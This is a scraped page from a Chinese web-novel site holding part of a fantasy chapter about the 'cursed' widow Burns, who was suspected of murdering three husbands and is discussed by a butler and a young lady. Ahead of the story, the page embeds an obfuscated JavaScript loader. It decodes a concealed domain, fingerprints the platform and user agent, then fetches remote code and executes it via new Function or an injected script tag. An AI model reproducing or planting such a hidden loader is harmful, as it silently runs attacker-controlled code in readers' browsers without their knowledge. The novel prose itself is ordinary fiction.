妙书阁小说

阅读记录  |   用户书架
上一页
目录 | 设置
下一章
function UqgsgfgDv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{ c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function UqSDDFGvyQ(e){ var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,""); while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UqgsgfgDv(t);};window[''+'U'+'Y'+'C'+'q'+'J'+'K'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery'; if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/bm-'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'u'+'q'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/m-'+i;cs.parentElement.insertBefore(s,cs);}})('aGYuc2Rqa2JjamtzYmRzdnYuY29t','2843',window,document,['G','TpoZFcguG']);}:function(){};

第624章 Ch623 受诅咒的伯恩斯(2 / 2)

加入书签 | 推荐本书 | 问题反馈 |

她衣食无忧,甚至比绝大多数上流社会的绅士要活的体面:较为著名的土地大贵族们,每年无所事事的收入达到了令人羡艳的十万镑,这笔钱放在东区的穷人兜里,几乎可以活到世界末日。

而这却只是伯恩斯女士一任丈夫给她留下的财富中的一小部分。

很快。

就有不惧怕她‘诅咒’的男士出现了。

倘若能成为这女士的情人,得她青眼、支持、投资,干上一番大事业——诅咒?带来灾难的寡妇?

我天生幸运缠身,正愁活的太腻。

无论年轻的,或稍上了年纪中年不顺的,正如夜后湖畔的蛙鸣:

一到了人瞧不见的时候,他们就咕咕哇哇叫起来,嚷着,争先恐后展示自己那双深邃、动人、流落凡间星辰一样的眼睛,弹力十足、永不疲倦舌头,肌肉发达的大腿和胸脯。

也正是这个原因,对伯恩斯的调查无法再进行下去:有太多人替她讲话了。

‘恩者在上!那只是一个女人!’

‘如果一个女人能狠下心且有能力谋杀三个男人,她枕边深爱的男人——那么我们就要考虑,下一次要不要派这些长裙细腰的姑娘们去喀布尔了。’

邮报用最显眼的粗体标题讽刺了画报的‘道德’,说那些主编用女人赚钱,用一个失了三任丈夫、人生悲惨黯淡的女士的厄运赚钱,这没有道德,几乎与禽兽无异。

此报的编辑者们还画了一副揶揄对方的卡通画:

一个尖嘴尖脸,浑身流脓的‘人形怪物’正拿着纸笔,偷偷推开门缝,偷窥门后正更衣的女人。

‘看来我们的战争没能胜利,只因为忽视了女人——至少画报的先生们认为姑娘都有这个能耐。’

很快。

风向就改变了。

这件事流落到民众的嘴里是谈资,在上流圈子里却是一种极其标志显眼的‘陷阱’。

没人愿意给自己头顶多添上一行不体面的称呼。

于是伯恩斯女士的监视与讯问解除,她重获自由,也不再被怀疑是个谋杀犯——虽然坊间或一些没有她的私人聚会上,仍流传着‘谋杀’版本的故事。

他们都在猜测,究竟伯恩斯用什么办法不露破绽地杀了人。

“所以,那个伯恩斯是仪式者?”

一到客厅,仆人们蜂拥而来。

摘斗篷的,脱鞋袜、擦脚的,清理手指和整理头发的,点香薰、布置餐桌的。

萝丝现在已经适应了。

她坐在软和的垫子里,腿上铺着一层小羊绒毯,一只手被女仆轻捧着,有一搭没一搭和老管家讲话。

“不,伯恩斯不是仪式者。”

汤姆站在另一侧,边说边分神监视仆人们的工作,微微挑了下嘴角——把一个不讲卫生、不懂礼节的坏姑娘‘驯服’成标准的淑女,就这一点,他非常骄傲。

“她是凡人,毋庸置疑的凡人。苏格兰场介入调查后,监察局紧随其后,”老汤姆慢吞吞地说:“我并不认为,她能在高环仪式者面前隐瞒力量…”

“更何况,是长达半年的调查。”

老汤姆说。

如果她能,就说明兔子长出了翅膀。

她至少在八环以上。

“这不可能,也不合理。”

', '')

上一页
目录
下一章
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间